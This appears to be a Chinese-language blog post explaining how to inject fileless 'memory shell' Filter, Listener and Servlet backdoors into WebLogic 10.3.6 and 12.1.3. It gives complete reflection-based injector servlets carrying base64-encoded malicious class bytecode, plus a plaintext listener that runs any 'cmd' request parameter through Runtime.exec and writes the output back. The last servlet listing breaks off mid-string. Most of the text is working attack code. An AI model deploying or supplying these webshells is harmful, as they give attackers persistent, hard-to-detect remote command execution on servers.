Weblogic Filter内存马和Tomcat其实差不多。
在weblogic.servlet.internal.WebAppServletContext#wrapRun
中通过getFilterChain()获取包含Filter链的FilterChainImpl对象。
跟进getFilterChain()
方法,该方法在weblogic.servlet.internal.FilterManager
类中,可以看到该方法实例化了一个FilterChainImpl类,并添加包含Filter的wrapper到该对象中。
返回FilterChainImpl对象
获取了FilterChainImpl对象后,再调用该对象的doFilter()方法,跟进doFilter()方法。可以看到这步就获取注册的Filter类,并调用Filter的doFilter方法。
手动注册Filter类
在weblogic.servlet.internal.FilterManager
类中有一个registerFilter方法可以动态注册Filter。
该方法中,创建FilterWrapper对象传入FilterClassName字符串后,在this.loadFilter(fw)
中对该filter类进行加载。
loadFilter中调用this.context.createInstance(filterClassName)
对类进行加载,跟进查看。
使用的是weblogic自己定义的一个classloader,调用自定义的loadclass方法。ChangeAwareClassLoader.loadClass
方法会从cache中查找是否存在待查找的类,也就是this.cachedClasses这个变量。
总结: 如果要手动注册Filter,只需要将恶意filter添加到cachedClasses中,然后调用registerFilter接口进行添加即可。
Tips: 代码解释看注释
测试weblogic 1036和12.1.3成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
|
package com.example.web;
import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.WebAppServletContext;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
import javax.servlet.http.*;
public class HelloServlet extends HttpServlet {
private String message;
public void init() {
message = "Hello World!";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
Thread thread = Thread.currentThread();
try {
//获取WebAppServletContext
Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
workEntry.setAccessible(true);
Object workentry = workEntry.get(thread);
WebAppServletContext webAppServletContext=null;
try{ //weblogic 12.1.3
Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object http = connectionHandler.get(workentry);
Field request1 = http.getClass().getDeclaredField("request");
request1.setAccessible(true);
ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);
Field context = servletRequest.getClass().getDeclaredField("context");
context.setAccessible(true);
webAppServletContext = (WebAppServletContext) context.get(servletRequest);
}catch (Exception e){
//weblogic 1036
Field context = workentry.getClass().getDeclaredField("context");
context.setAccessible(true);
webAppServletContext = (WebAppServletContext) context.get(workentry);
}
if(webAppServletContext==null){throw new Exception("null");}
//加载字节码
String encode_class = "yv66vgAAADQAkgoAHgBJCAA/CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCwBpAGoHAGsHAGwHAG0BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFIHADAHAG8HAFwHAHABAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHEMAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAegwAewB8DAB9AH4HAH8MAIAAgQEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIIBAAJcYQwAgwCEDACFAIYMAIcAdwEAAAcAiAwAiQCKBwCLDACMAI0MAI4AIQwAjwAhBwCQDAAtAJEBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAAC8AAQABAAAABSq3AAGxAAAAAgAjAAAABgABAAAABQAkAAAADAABAAAABQAlACYAAAABACcAKAACACIAAAA1AAAAAgAAAAGxAAAAAgAjAAAABgABAAAACQAkAAAAFgACAAAAAQAlACYAAAAAAAEAKQAqAAEAKwAAAAQAAQAsAAEALQAuAAIAIgAAAYAABAAKAAAAoisSArkAAwIAOgQZBMYAjQE6BRIEuAAFtgAGEge2AAiZABsGvQAJWQMSClNZBBILU1kFGQRTOgWnABgGvQAJWQMSDFNZBBINU1kFGQRTOgW4AA4ZBbYAD7YAEDoGuwARWRkGtwASEhO2ABQ6BxkHtgAVmQALGQe2ABanAAUSFzoILLkAGAEAOgkZCRkItgAZGQm2ABoZCbYAGy0rLLkAHAMAsQAAAAMAIwAAAD4ADwAAAA0ACgAOAA8ADwASABEAIgASADoAFABPABcAXAAYAGwAGQCAABoAiAAbAI8AHACUAB0AmQAfAKEAIAAkAAAAZgAKABIAhwAvADAABQBcAD0AMQAyAAYAbAAtADMANAAHAIAAGQA1ADYACACIABEANwA4AAkAAACiACUAJgAAAAAAogA5ADoAAQAAAKIAOwA8AAIAAACiAD0APgADAAoAmAA/ADYABABAAAAAHAAF/QA6BwBBBwBCFP0ALAcAQwcAREEHAEH4ABoAKwAAAAYAAgBFACwAAQBGACEAAQAiAAAAKwAAAAEAAAABsQAAAAIAIwAAAAYAAQAAACcAJAAAAAwAAQAAAAEAJQAmAAAAAQBHAAAAAgBI";
byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
//这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
Field loader = webAppServletContext.getClass().getDeclaredField("classLoader");
loader.setAccessible(true);
ClassLoader ClassLoader0= (ClassLoader) loader.get(webAppServletContext);
Class filter_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);
//获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中
Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
classLoader.setAccessible(true);
ClassLoader classLoader1 = (ClassLoader) classLoader.get(webAppServletContext);
//获取cachedClasses
Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
cachedClasses.setAccessible(true);
Object cachedClasses_map = cachedClasses.get(classLoader1);
Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
get.setAccessible(true);
//如果cachedClasses中不存在cmdFilter类
if (get.invoke(cachedClasses_map, "cmdFilter") == null) {
//把cmdFilter的class 存入cachedClasses中
Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
put.setAccessible(true);
put.invoke(cachedClasses_map, "cmdFilter", filter_class);
//获取filterManager类
Field filterManager = webAppServletContext.getClass().getDeclaredField("filterManager");
filterManager.setAccessible(true);
Object o = filterManager.get(webAppServletContext);
//注册Filter
Method registerFilter = o.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilter.setAccessible(true);
registerFilter.invoke(o, "test", "cmdFilter", new String[]{"/*"}, null, null, null);
response.getWriter().write("success!!!");
}
} catch (Exception e) {
}
}
public void destroy() {
}
}
|
和Filter注册过程差不多,webAppServletContext中的registerListener方法可以注册Listener,但当context启动后不能直接通过该方法注册,下面来分析一下。
跟进this.addListener()
,看到根据类名创建EventListener对象,传入到this.addListener(Listener)
。
然后再继续跟进this.addListener()
,可以看到对当前线程是否启动进行检查。通过的话便可调用this.eventsManager.addEventListener(t);
添加Listener。
如果当前webAppServletContext.ContextPhase.START ==this.phase
那么就抛出异常
所以可以模拟添加Listener的方法。先通过反射创建EventListener,再调用eventsManager的addEventListener方法即可。
测试Weblogic 1036和12.1.3成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
|
package com.example.web;
import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.EventsManager;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.WebAppServletContext;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.EventListener;
public class guguServlet extends HttpServlet {
public void init() {
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
Thread thread = Thread.currentThread();
try {
//获取WebAppServletContext
Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
workEntry.setAccessible(true);
Object workentry = workEntry.get(thread);
WebAppServletContext webAppServletContext=null;
try{ //weblogic 12.1.3
Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object http = connectionHandler.get(workentry);
Field request1 = http.getClass().getDeclaredField("request");
request1.setAccessible(true);
ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);
Field context = servletRequest.getClass().getDeclaredField("context");
context.setAccessible(true);
webAppServletContext = (WebAppServletContext) context.get(servletRequest);
}catch (Exception e){
//weblogic 1036
Field context = workentry.getClass().getDeclaredField("context");
context.setAccessible(true);
webAppServletContext = (WebAppServletContext) context.get(workentry);
}
if(webAppServletContext==null){throw new Exception("null");}
//加载字节码
String encode_class ="yv66vgAAADQAdwoAGAA8CgA9AD4IADELAD8AQAoAQQBCCgBBAEMHAEQHAEUKAEYARwoACABICgAHAEkHAEoKAAwAPAoABwBLCgAMAEwIAE0KAAwATgcATwoAEgBQCgBRAFIKAFMAVAcAVQcAVgcAVwcAWAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9leGFtcGxlL3dlYi9teUxpc3RlbmVyOwEAEHJlcXVlc3REZXN0cm95ZWQBACYoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RFdmVudDspVgEAE3NlcnZsZXRSZXF1ZXN0RXZlbnQBACNMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OwEAEnJlcXVlc3RJbml0aWFsaXplZAEAAnBzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAmJyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQACc2IBABhMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAARsaW5lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQAIcmVzcG9uc2UBAC9Md2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9TZXJ2bGV0UmVzcG9uc2VJbXBsOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFYHAFkHAFoHAFsHAEQHAEoHAFUBAApTb3VyY2VGaWxlAQAPbXlMaXN0ZW5lci5qYXZhDAAaABsHAFkMAFwAXQcAXgwAXwBgBwBhDABiAGMMAGQAZQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBbDABmAGcMABoAaAwAGgBpAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAagBrDABsAG0BAAQ8YnI+DABuAGsBACx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXF1ZXN0SW1wbAwAbwBwBwBxDAByAHMHAHQMAHUAdgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpjb20vZXhhbXBsZS93ZWIvbXlMaXN0ZW5lcgEAEGphdmEvbGFuZy9PYmplY3QBACRqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0TGlzdGVuZXIBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABFnZXRTZXJ2bGV0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAIdG9TdHJpbmcBAAtnZXRSZXNwb25zZQEAMSgpTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldFJlc3BvbnNlSW1wbDsBAC13ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXNwb25zZUltcGwBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhABcAGAABABkAAAADAAEAGgAbAAEAHAAAAC8AAQABAAAABSq3AAGxAAAAAgAdAAAABgABAAAADAAeAAAADAABAAAABQAfACAAAAABACEAIgABABwAAAA1AAAAAgAAAAGxAAAAAgAdAAAABgABAAAAEAAeAAAAFgACAAAAAQAfACAAAAAAAAEAIwAkAAEAAQAlACIAAQAcAAABXwAFAAkAAAByK7YAAhIDuQAEAgBNLMYAZLgABSy2AAZOuwAHWbsACFkttgAJtwAKtwALOgS7AAxZtwANOgUZBLYADlk6BsYAExkFGQa2AA8SELYAD1en/+gZBbYAEToHK7YAAsAAErYAEzoIGQi2ABQZB7YAFacABE6xAAEAEABtAHAAFgADAB0AAAA2AA0AAAAUAAwAFQAQABcAGAAYACwAGQA1ABsAQAAcAFAAHgBXAB8AYwAgAG0AIgBwACEAcQAkAB4AAABcAAkAGABVACYAJwADACwAQQAoACkABAA1ADgAKgArAAUAPQAwACwALQAGAFcAFgAuAC0ABwBjAAoALwAwAAgAAAByAB8AIAAAAAAAcgAjACQAAQAMAGYAMQAtAAIAMgAAADUABP8ANQAGBwAzBwA0BwA1BwA2BwA3BwA4AAD8ABoHADX/AB8AAwcAMwcANAcANQABBwA5AAABADoAAAACADs=";
byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
//这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
Field loader = webAppServletContext.getClass().getDeclaredField("classLoader");
loader.setAccessible(true);
ClassLoader ClassLoader0= (ClassLoader) loader.get(webAppServletContext);
Class filter_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);
//获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中
Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
classLoader.setAccessible(true);
ClassLoader classLoader1 = (ClassLoader) classLoader.get(webAppServletContext);
//获取cachedClasses
Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
cachedClasses.setAccessible(true);
Object cachedClasses_map = cachedClasses.get(classLoader1);
Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
get.setAccessible(true);
//如果cachedClasses中不存在cmdListener类
if (get.invoke(cachedClasses_map, "cmdListener") == null) {
//把cmdListener的class 存入cachedClasses中
Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
put.setAccessible(true);
put.invoke(cachedClasses_map, "cmdListener", filter_class);
Field eM = webAppServletContext.getClass().getDeclaredField("eventsManager");
eM.setAccessible(true);
EventsManager eventsManager=(EventsManager)eM.get(webAppServletContext);
try {
//Weblogic 12.1.3
//创建EventListener
Method listen=eventsManager.getClass().getDeclaredMethod("createListener", String.class);
listen.setAccessible(true);
EventListener listener=(EventListener)listen.invoke(eventsManager,"cmdListener");
//调用addEventListener添加Listener
Method addListener = eventsManager.getClass().getDeclaredMethod("addEventListener", EventListener.class);
addListener.setAccessible(true);
addListener.invoke(eventsManager,listener);
response.getWriter().write("success!!!");
}catch (Exception e){
//weblogic1036 可以直接调用registerListener添加
Method listen=webAppServletContext.getClass().getDeclaredMethod("registerListener", String.class);
listen.setAccessible(true);
listen.invoke(webAppServletContext,"cmdListener");
response.getWriter().write("success!!!");
}
}
} catch (Exception e) {
}
}
public void destroy() {
}
}
|
恶意Listener
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
package com.example.web;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.ServletResponseImpl;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class myListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
if (cmd != null) {
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("<br>");//执行结果加上回车
}
String result = sb.toString();
ServletResponseImpl response= ((ServletRequestImpl) servletRequestEvent.getServletRequest()).getResponse();
response.getWriter().write(result);
} catch (IOException e) {
}
}
}
}
|
base64脚本,用于编码class文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
package test1;
import sun.misc.BASE64Encoder;
import java.io.*;
public class run {
public static void main(String[] args) {
try{
File file = new File("/Users/myzxcg/xx/IdeaProjects/web/target/classes/com/example/web/myListener.class");
FileInputStream fileInputStream = new FileInputStream(file);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] bytes = new byte[4096];
int len;
while ((len = fileInputStream.read(bytes))!=-1){
byteArrayOutputStream.write(bytes,0,len);
}
String encode = new BASE64Encoder().encode(byteArrayOutputStream.toByteArray());
System.out.println(encode.replaceAll("\\r|\\n",""));
}catch (Exception e){
e.printStackTrace();
}
}
}
|
只需要在servletMapping中添加URI和对应的URLMatchHelper对象即可。
实现代码
在Weblogic 1036和weblogic 12.1.3测试成功。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
|
package com.example.web;
import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.ServletStubImpl;
import weblogic.servlet.internal.WebAppServletContext;
import weblogic.servlet.utils.ServletMapping;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
public class guguServlet extends HttpServlet {
public void init() {
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
String URI = "/aaa";
//获取servletContext
Thread thread = Thread.currentThread();
//获取WebAppServletContext
Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
workEntry.setAccessible(true);
Object workentry = workEntry.get(thread);
WebAppServletContext servletContext = null;
try { //weblogic 12.1.3
Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object http = connectionHandler.get(workentry);
Field request1 = http.getClass().getDeclaredField("request");
request1.setAccessible(true);
ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);
Field context = servletRequest.getClass().getDeclaredField("context");
context.setAccessible(true);
servletContext = (WebAppServletContext) context.get(servletRequest);
} catch (Exception e) {
//weblogic 1036
Field context = workentry.getClass().getDeclaredField("context");
context.setAccessible(true);
servletContext = (WebAppServletContext) context.get(workentry);
}
// 获取servletMapping
Method getServletMapping = servletContext.getClass().getDeclaredMethod("getServletMapping");
getServletMapping.setAccessible(true);
ServletMapping mappings = (ServletMapping) getServletMapping.invoke(servletContext);
ServletStubImpl servletStub = null;
// 使用ServletStub包装HttpServlet
String encode_class = "yv66vgAAADQAhwoAHQBDCAArCwBEAEUIAEYKAEcASAoACQBJCABKCgAJAEsHAEwIAE0IAE4IAE8IAFAKAFEAUgoAUQBTCgBUAFUHAFYKABEAVwgAWAoAEQBZCgARAFoKABEAWwgAXAsAXQBeCgBfAGAKAF8AYQoAXwBiBwBjBwBkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB1MY29tL2V4YW1wbGUvd2ViL2h0dHBTZXJ2bGV0OwEABWRvR2V0AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAA3JlcQEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEABHJlc3ABAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHaXNMaW51eAEAAVoBAAVvc1R5cAEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAA291dAEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEADVN0YWNrTWFwVGFibGUHAEwHADEHAGUHAFYBAApFeGNlcHRpb25zBwBmBwBnAQAKU291cmNlRmlsZQEAEGh0dHBTZXJ2bGV0LmphdmEMAB4AHwcAaAwAaQBqAQAHb3MubmFtZQcAawwAbABqDABtAG4BAAN3aW4MAG8AcAEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBAAdjbWQuZXhlAQACL2MHAHEMAHIAcwwAdAB1BwB2DAB3AHgBABFqYXZhL3V0aWwvU2Nhbm5lcgwAHgB5AQACXGEMAHoAewwAfAB9DAB+AG4BAAAHAH8MAIAAgQcAggwAgwCEDACFAB8MAIYAHwEAG2NvbS9leGFtcGxlL3dlYi9odHRwU2VydmxldAEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldAEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UAIQAcAB0AAAAAAAIAAQAeAB8AAQAgAAAALwABAAEAAAAFKrcAAbEAAAACACEAAAAGAAEAAAAMACIAAAAMAAEAAAAFACMAJAAAAAQAJQAmAAIAIAAAAYoABAALAAAAoSsSArkAAwIATgQ2BBIEuAAFOgUZBcYAExkFtgAGEge2AAiZAAYDNgQVBJkAGAa9AAlZAxIKU1kEEgtTWQUtU6cAFQa9AAlZAxIMU1kEEg1TWQUtUzoGuAAOGQa2AA+2ABA6B7sAEVkZB7cAEhITtgAUOggZCLYAFZkACxkItgAWpwAFEhc6CSy5ABgBADoKGQoZCbYAGRkKtgAaGQq2ABuxAAAAAwAhAAAAOgAOAAAADwAJABAADAARABMAEgAlABMAKAAVAFYAFgBjABcAcwAYAIcAG